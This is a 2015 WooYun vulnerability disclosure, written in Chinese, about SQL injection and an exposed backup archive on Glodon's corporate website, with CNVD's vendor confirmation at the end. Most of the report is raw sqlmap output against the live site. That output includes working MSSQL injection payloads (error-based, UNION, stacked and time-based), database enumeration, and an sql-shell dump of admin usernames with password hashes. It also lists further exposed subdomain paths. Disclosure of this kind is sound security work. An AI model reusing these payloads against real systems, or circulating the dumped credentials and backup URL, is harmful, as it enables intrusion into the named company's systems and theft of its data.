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缺陷编号：wooyun-2015-0129070

漏洞标题：广联达公司门户站sql注入漏洞以及敏感文件下载

相关厂商：cncert国家互联网应急中心

漏洞作者： feather

提交时间：2015-07-25 14:46

修复时间：2015-09-12 15:44

公开时间：2015-09-12 15:44

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：8

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-07-25： 细节已通知厂商并且等待厂商处理中
2015-07-29： 厂商已经确认，细节仅向厂商公开
2015-08-08： 细节向核心白帽子及相关领域专家公开
2015-08-18： 细节向普通白帽子公开
2015-08-28： 细节向实习白帽子公开
2015-09-12： 细节向公众公开

简要描述：

mssql注入，没什么权限，MD5解不开

详细说明：

首先 http://glodon.com/bin.rar
这里有一个备份下载，里面有Tc.Web.dll.config数据库链接文件
http://glodon.com/p/info_childc
ompany.aspx?n=subsidiary 注入

back-end DBMS: Microsoft SQL Server 2008
[18:44:23] [INFO] fetched data logged to text files under 'E:\Sqlmap_win\Bin\out
put\glodon.com'
[*] shutting down at 18:44:23
C:\Users\Administrator.WIN7U-20150616P>sqlmap -u http://glodon.com/p/info_childc
ompany.aspx?n=subsidiary --dbs
    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 18:44:52
[18:44:52] [INFO] resuming back-end DBMS 'microsoft sql server'
[18:44:52] [INFO] testing connection to the target URL
sqlmap got a 302 redirect to 'http://www.glodon.com/en/'. Do you want to follow?
 [Y/n] y
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: n
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: n=subsidiary' AND 6260=CONVERT(INT,(SELECT CHAR(113)+CHAR(115)+CHAR
(115)+CHAR(109)+CHAR(113)+(SELECT (CASE WHEN (6260=6260) THEN CHAR(49) ELSE CHAR
(48) END))+CHAR(113)+CHAR(105)+CHAR(118)+CHAR(104)+CHAR(113))) AND 'jSxf'='jSxf
    Type: UNION query
    Title: Generic UNION query (NULL) - 8 columns
    Payload: n=subsidiary' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CHAR(1
13)+CHAR(115)+CHAR(115)+CHAR(109)+CHAR(113)+CHAR(118)+CHAR(99)+CHAR(86)+CHAR(115
)+CHAR(105)+CHAR(70)+CHAR(111)+CHAR(111)+CHAR(100)+CHAR(103)+CHAR(113)+CHAR(105)
+CHAR(118)+CHAR(104)+CHAR(113),NULL--
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: n=subsidiary'; WAITFOR DELAY '0:0:5'--
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: n=subsidiary' WAITFOR DELAY '0:0:5'--
---
[18:45:05] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows
web application technology: ASP.NET 4.0.30319, ASP.NET
back-end DBMS: Microsoft SQL Server 2008
[18:45:05] [INFO] fetching database names
[18:45:05] [INFO] the SQL query used returns 4 entries
[18:45:05] [INFO] resumed: "db_menhu_en_glodon_com","db_menhu_en_glodon_com",...
[18:45:05] [INFO] resumed: "db_menhu_glodon_com","db_menhu_glodon_com","db_me...
[18:45:05] [INFO] resumed: "master","master","master","master","master"
[18:45:05] [INFO] resumed: "tempdb","tempdb","tempdb","tempdb","tempdb"
available databases [4]:
[*] db_menhu_en_glodon_com
[*] db_menhu_glodon_com
[*] master
[*] tempdb
[18:45:05] [INFO] fetched data logged to text files under 'E:\Sqlmap_win\Bin\out
put\glodon.com'
[*] shutting down at 18:45:05
C:\Users\Administrator.WIN7U-20150616P>sqlmap -u http://glodon.com/p/info_childc
ompany.aspx?n=subsidiary --sql-shell
    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 18:45:33
[18:45:33] [INFO] resuming back-end DBMS 'microsoft sql server'
[18:45:33] [INFO] testing connection to the target URL
sqlmap got a 302 redirect to 'http://www.glodon.com/en/'. Do you want to follow?
 [Y/n] y
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: n
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: n=subsidiary' AND 6260=CONVERT(INT,(SELECT CHAR(113)+CHAR(115)+CHAR
(115)+CHAR(109)+CHAR(113)+(SELECT (CASE WHEN (6260=6260) THEN CHAR(49) ELSE CHAR
(48) END))+CHAR(113)+CHAR(105)+CHAR(118)+CHAR(104)+CHAR(113))) AND 'jSxf'='jSxf
    Type: UNION query
    Title: Generic UNION query (NULL) - 8 columns
    Payload: n=subsidiary' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CHAR(1
13)+CHAR(115)+CHAR(115)+CHAR(109)+CHAR(113)+CHAR(118)+CHAR(99)+CHAR(86)+CHAR(115
)+CHAR(105)+CHAR(70)+CHAR(111)+CHAR(111)+CHAR(100)+CHAR(103)+CHAR(113)+CHAR(105)
+CHAR(118)+CHAR(104)+CHAR(113),NULL--
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: n=subsidiary'; WAITFOR DELAY '0:0:5'--
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: n=subsidiary' WAITFOR DELAY '0:0:5'--
---
[18:45:43] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows
web application technology: ASP.NET 4.0.30319, ASP.NET
back-end DBMS: Microsoft SQL Server 2008
[18:45:43] [INFO] calling Microsoft SQL Server shell. To quit type 'x' or 'q' an
d press ENTER
sql-shell> select * from Tcadmin
[18:46:03] [INFO] fetching SQL SELECT statement query output: 'select * from Tca
dmin'
[18:46:03] [INFO] you did not provide the fields in your query. sqlmap will retr
ieve the column names itself
[18:46:03] [WARNING] missing database parameter. sqlmap is going to use the curr
ent database to enumerate table(s) columns
[18:46:03] [INFO] fetching current database
[18:46:04] [INFO] fetching columns for table 'Tcadmin' in database 'db_menhu_glo
don_com'
[18:46:04] [INFO] the SQL query used returns 8 entries
[18:46:04] [INFO] resumed: "DomainAccount","nvarchar","DomainAccount","nvarch...
[18:46:04] [INFO] resumed: "ID","int","ID","int","ID","int","ID","int","ID","...
[18:46:04] [INFO] resumed: "Name","varchar","Name","varchar","Name","varchar"...
[18:46:04] [INFO] resumed: "Pid","int","Pid","int","Pid","int","Pid","int","P...
[18:46:04] [INFO] resumed: "Pwd","varchar","Pwd","varchar","Pwd","varchar","P...
[18:46:04] [INFO] resumed: "RealName","nvarchar","RealName","nvarchar","RealN...
[18:46:04] [INFO] resumed: "Remark","nvarchar","Remark","nvarchar","Remark","...
[18:46:04] [INFO] resumed: "Role","int","Role","int","Role","int","Role","int...
[18:46:04] [INFO] the query with expanded column name(s) is: SELECT DomainAccoun
t, ID, Name, Pid, Pwd, RealName, Remark, Role FROM Tcadmin
[18:46:04] [INFO] the SQL query used returns 9 entries
[18:46:04] [INFO] resumed: "a","6","a","1","C00F92FAD33BDEE6524183293AC0E51C"...
[18:46:04] [INFO] resumed: "admin","2","admin","3","C00F92FAD33BDEE6524183293...
[18:46:04] [INFO] resumed: "b","7","b","1","C00F92FAD33BDEE6524183293AC0E51C"...
[18:46:04] [INFO] resumed: "c","8","c","1","C00F92FAD33BDEE6524183293AC0E51C"...
[18:46:04] [INFO] resumed: "d","9","d","1","C00F92FAD33BDEE6524183293AC0E51C"...
[18:46:04] [INFO] resumed: "fabu","4","fabu","1","C00F92FAD33BDEE6524183293AC...
[18:46:04] [INFO] resumed: "licaix","12","licaix","2","C00F92FAD33BDEE6524183...
[18:46:04] [INFO] resumed: "yiji","1","yiji","2","C00F92FAD33BDEE6524183293AC...
[18:46:04] [INFO] resumed: "zhangzong","3","xitong","2","C00F92FAD33BDEE65241...
select * from Tcadmin [45]:
[*] fabu, 4, fabu, 1, C00F92FAD33BDEE6524183293AC0E51C, ?????, , 1074
[*] licaix, 12, licaix, 2, C00F92FAD33BDEE6524183293AC0E51C, ???, , 1074
[*] yiji, 1, yiji, 2, C00F92FAD33BDEE6524183293AC0E51C, ??, , 1073
[*] zhangzong, 3, xitong, 2, C00F92FAD33BDEE6524183293AC0E51C, ??, , 1071
。。。
sql-shell>


送几个分站小漏洞：
1，目录遍历 http://static.glodon.com/static/
2，爆物理路径 http://gldfh.glodon.com/wx/
3，http://gldfh.glodon.com/i.php

漏洞证明：

[*] fabu, 4, fabu, 1, C00F92FAD33BDEE6524183293AC0E51C, ?????, , 1074
[*] licaix, 12, licaix, 2, C00F92FAD33BDEE6524183293AC0E51C, ???, , 1074
[*] yiji, 1, yiji, 2, C00F92FAD33BDEE6524183293AC0E51C, ??, , 1073
[*] zhangzong, 3, xitong, 2, C00F92FAD33BDEE6524183293AC0E51C, ??, , 1071

修复方案：

我不会啊

版权声明：转载请注明来源 feather@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：7

确认时间：2015-07-29 15:42

厂商回复：

CNVD确认并复现所述情况，已由CNVD通过软件生产厂商（或网站管理方）公开联系渠道向其邮件（和电话）通报，由其后续提供解决方案并协调相关用户单位处置。

最新状态：

暂无